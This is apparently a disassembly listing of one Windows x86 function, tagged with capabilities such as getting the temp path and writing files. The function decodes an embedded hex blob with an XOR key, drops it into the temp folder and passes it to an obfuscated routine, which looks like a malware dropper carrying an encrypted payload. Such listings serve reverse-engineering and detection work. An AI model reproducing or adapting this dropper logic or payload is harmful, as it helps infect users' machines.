Function at 0x6964460b
Capabilities:
Check if file exists
Get common file path
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xcfc
mov dword [esp], 0x3ff
call sym._affZoZyj5QQfO
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 4], eax
mov dword [esp], 0x400
mov eax, dword [sym.imp.KERNEL32.dll_GetTempPathA]
call eax
sub esp, 8
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._strlen
add eax, 0x48
mov dword [esp], eax
call sym._affZoZyj5QQfO
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x417]
mov ebx, 0x6964f4a0
mov edx, 0x3ab
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x44], str.9f15a29c9df4dd1152f0783f9b512ff7204dd3963d6d3b4e3b6e11dac0a4d9179d59e0ae13de54dbc7cf07276d0490ff218ef5aa0c34a3f4497e6c7dbb1ea23e389d8dc327213afc2ced56bb024f89f79ff6477cd976b829f9c3673cadfe6146e6b4bd602b7029a8
lea eax, [ebp - 0x417]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0x3ab
call sym._y2Ob5
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], str.604f79fdebbfcdb7e0bdf9c1b5b119d36811a48d8e935d3001a6b750e7aca7b5365f5bbdd06e41ce5de9c630c1694950979fe70119a249ed5b12c38224700d7679bb947311b4b185d302357eceae6ec7e4437324806cfded6bb3ca974aeea200bfd952035e79b7fcd8d2fb448bc5d5a6099edd3cff0be0df266b0446afbba3d5dade7054c737b2e67984b110d38c9f6f6c357a1d949ec3af88c5de374e302561c16767e883989c13695ec3fc6194f38ef0777b4ea19137179b5df8a85bd5784815c2d2da2b3334cbf4e30c79d651ba8305c475e6488f28e18ce6fb825d95681e337157c2920f4f00ca24e3e26009afec30e4d5d0cdaa2de16de26edc93483332ed40cb89614f90b44a692b28cea60f2bbad6abfd63e57f287ee0defd6d24018b8f123c623b4c347c32420669bdbe7bee6bc3b848f2d6d59c1523fd47c0e98b8e9ba5149ebc6e766519feb001abf1055163e7c3a63d6b1e9dd2ebcf2603c8ab5b7fda4a13f9f6bb902182e61befaab7997d05553d5bbb97e3b39ea274e05ff59fe1b85c72e29827bc3ecb0f9e50d732712b3cc9c400b3f33611f013c42a48ba86717889f992481b7a3d3ba79c3e88bc804ab840c82045497fa06a3ec93941b263e1ba1a5402efc9997cad3f66444ea226b1673535927d88851857e5e7069d9244c831ac4002dc635a3466ffb677dd74eef300a8ed7c8acf23527424920a378cc9e59bf38d3f1ca5591d0f6383fff30274004baed343a2f987b9bcb689311ce334fbb4f500f27499bc63d69cd99f05af08b29f53cbfcaf7ea0a4daf339557533383ac2436ee522ab8db5b9ebdbc4218faf6aac9c4ea0779f634ed9dbfb45f74080a2f70834d2d8d0f54e798f63e559724fe1aba0c786eb21e2bfd7c2aee33c6391c3efbafead3cb4cfc33c409f533cddf6103cb73774070d8507d34027fb0344ae9f4e3964a557e22a5b85d71b9f17f10fa5b2143a1550d11d95021f10c3db27016b6e6dd833f0808f8356c395dd2ddecae62adc3ea2e8054f2a1977be46dd65826a88a0e0721e578aa89a11e5794f632a08b66e0de87812f2bfecf6cfc74ea3d1b9e6c3db62eec9cc39611f107750d95ce453e6deac4191c13d27cdeab6d5113732c4b26788b0094935e046e29b61a3d3f419bc8800c8930c320e01a9ed94dbf45481e3dacf53da8816bf25efbb7d236649caf2d98ec4fb4e45c133b7ea00efc3a3ab1dff1b15ab1f41b6cceb8de699ec2c47252d19842645eb8086f3663f1d9cb86bfcb6c8a92516158fd86e5acc25e6b917ca6d4e15e7dab44e2fcd6c8f7203cc81316c4c677c919a6d49cdeab6d5113735aba49fcc366143043c66aeb604a4d79a56f4f04aef976a230517e6a0b8bda414c4979fc35ed4e720ac63a593733b7a0c89e2fcf696904954f733b5e86980b110cc9c937c612d3f0c8bccb0dd8899ec2c47252d1eeb30bdaf06eef957e23dd0950efbb2a6e66d6e5fa8dc084bc733a9f43bac3d0f50939fb84321a25a9c3449e48f297009246cb4e23f22cafb80d513355cc4d62cabb70d2470ba46e38b04ff87f456f4f04aef976d4c13efa226d0b795cee4dbb2a659d0896fe41befb4775d6b079fadb1daf0c00b118376b9e567ef87038ad6bb7279317a4f9be9c88fe39efd1a47272f7784420ec887829e23641d9fa03caad6fcab136f4ebbd46343a45dbe0afcfa4749ac65ae69cee4e833dcfedc2816f91bd69fee79d679d2e1d2b6e0891a6bca478aaf884726c32d588db468c7a1d2fdcb1374b4f2a438b08e7ca974d0a5f8eb3aa7c81b56b2e26f8be026dfa0af921eac20d1d97caeac407ca2c10b38a21e3a22a0ecfa8aa4d636de3a69d0427649e061414e1fa7c32e191ef5156e9af1eff26dba56be22bfe7e9dce5acb1eb2f58ff9063c1df14cd07fb8d70395f40d5771ba0c1022d4e0f3309b463680303cf37663eb1bd246d6c586722230f822d22a9c40c1d6cbb7e79eda7383bc01b57f60da673723c23a10d9b0cfe8dff6f27067079c9582d95d4fc60db4d3aada508cb36d4dfde93794594f7d357a42d17e25eb8d745ab76ee6a265a727d615958c02d3948fd1d6b3fce913cfbd7a34c3abd7daf6c3a7a282f5257480c32682f7e14d11181a601d1b3b41e4a01d710f0a2faa722afd7d18b40e58e16ddea94c32eb81cbf3df42037c9b45380c284cb5e9583f4ae96bfc1d9e04b93d638a351cc0a8509ac718820b45b8e220f26edc6eebd926cc6153b7446b77d14def38fc9b6467f2ee3d62c68d66f27b51a55c2c5119c255e25088bd673e78b7793a83f163ae47c6a4a8e97e3ed457e317a02a3d035d836c6a32380e0762c716caba58dd0142c9b7dd2151e8e81f597fd6186ec8d96d42c409aec68b9621e103b86919a39ebc30d954f5aca20f4a0da0160ace3529ea806a98fe6be9cf3b6f0a8e2d2268bc3f9900e04fc9351aa48c8e6d8134db7be1fd1623a4c88e5dcf36dd1ffdc914cd2b0bcf824663d34344829bd33bd1e2a6f89c66d0a0b18fa52c3be3388a52355ea0d8834f23270d70d70666ba934f8efbba13e94d3114ba1c34730f0ab81aaa32d759627dbb25c3264c1df6009ebdd72b756c18630ffaf7aab23e75cd11fc019de5b4486df3407477c8065786bd754a062e719725d2e6fcc48db6df0a5b622b976c9e0c8cdcaa6220356d571fe49f234239985ce92d55d7061f249472988f904c4e10189527d47f06e0d9914212375c09d63e9584345e2a3d88c2f896e83ff57489cfd17bdc6427a4493623a88b3b32dfab9e0b11c5c9450687506d40ed9b437328de96abaf3c5fb9da1b62a0da239e0ff8cbe1ed199556334269eb04c7afe24d24373fa67ca905d21e9a1acf52f4d2cf29e09aed0c39819b00902806f06a93c1b
mov dword [ebp - 0x50], str.65c9bdbc9507164cd8cde773310bd6a7ee6a43c57ac978611426c47382046b05
lea eax, [ebp - 0x842]
mov ebx, 0x6964f860
mov edx, 0x42b
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x842]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x50]
mov dword [esp + 4], eax
mov dword [esp], 0x42b
call sym._y2Ob5
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x48]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._sprintf
mov eax, dword [ebp - 0x48]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x4c]
mov dword [esp], eax
call sym._strlen
shr eax, 1
mov dword [ebp - 0x58], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], 0
jmp 0x696447c1
mov dword [esp + 4], 0x99
mov dword [esp], 0x33
call sym._WeEn4c
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x20], 1
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x20], 0x3e7
ja 0x696447d0
cmp dword [ebp - 0x1c], 0
je 0x69644786
mov word [ebp - 0x845], 0
mov byte [ebp - 0x843], 0
cmp dword [ebp - 0x1c], 0
jne 0x696447f2
mov dword [esp], 0
call sym._exit
mov dword [ebp - 0x24], 0
jmp 0x6964486f
mov eax, dword [ebp - 0x24]
lea edx, [eax + eax]
mov eax, dword [ebp - 0x4c]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov byte [ebp - 0x845], al
mov eax, dword [ebp - 0x24]
add eax, eax
lea edx, [eax + 1]
mov eax, dword [ebp - 0x4c]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov byte [ebp - 0x844], al
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x845]
mov dword [esp], eax
call sym._strtol
mov ecx, eax
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
add eax, edx
mov edx, ecx
mov byte [eax], dl
add dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0x58]
jb 0x696447fb
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x5c], str.32eefd9930196a29083cbdb7e90fe87a
lea eax, [ebp - 0xc5e]
mov ebx, 0x6964fca0
mov edx, 0x419
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0xc5e]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 3
mov eax, dword [ebp - 0x5c]
mov dword [esp + 4], eax
mov dword [esp], 0x419
call sym._y2Ob5
mov dword [ebp - 0x60], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xcef]
mov ebx, 0x696500c0
mov edx, 0x91
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
jmp 0x6964494b
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x58]
mov dword [esp], eax
call sym._calloc
mov dword [ebp - 0x2c], eax
add dword [ebp - 0x28], 1
cmp dword [ebp - 0x28], 0x3e7
ja 0x6964495a
cmp dword [ebp - 0x2c], 0
je 0x69644931
cmp dword [ebp - 0x2c], 0
jne 0x6964496c
mov dword [esp], 0
call sym._exit
mov dword [ebp - 0x30], 0
jmp 0x696449b5
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
add eax, edx
movzx ebx, byte [eax]
mov ecx, dword [ebp - 0x30]
mov edx, 0xe1fc780f
mov eax, ecx
mul edx
mov eax, edx
shr eax, 7
imul eax, eax, 0x91
sub ecx, eax
mov eax, ecx
movzx ecx, byte [ebp + eax - 0xcef]
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
add eax, edx
xor ebx, ecx
mov edx, ebx
mov byte [eax], dl
add dword [ebp - 0x30], 1
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x58]
jb 0x69644975
mov eax, dword [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._fopen
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
call sym._free
cmp dword [ebp - 0x64], 0
jne 0x69644a0e
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69644b31
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x58]
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._fwrite
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x58]
je 0x69644a65
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._free
mov eax, 0
jmp 0x69644b31
mov byte [ebp - 0x31], 0
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._strlen
add eax, 0x3a
mov dword [esp], eax
call sym._affZoZyj5QQfO
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x54]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym._sprintf
mov dword [ebp - 0x38], 0
jmp 0x69644aeb
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
call eax
sub esp, 4
cmp eax, 0xffffffff
jne 0x69644ad0
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
cmp eax, 2
je 0x69644ad6
mov byte [ebp - 0x31], 1
jmp 0x69644af4
mov dword [esp], 0x3d6
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
add dword [ebp - 0x38], 1
cmp dword [ebp - 0x38], 0xbb
jbe 0x69644aaf
cmp byte [ebp - 0x31], 0
je 0x69644b05
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym._Sl3HC
mov eax, dword [ebp - 0x40]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
call sym._fclose
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call sym._free
mov eax, dword [ebp - 0x6c]
mov dword [esp], eax
call sym._free
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret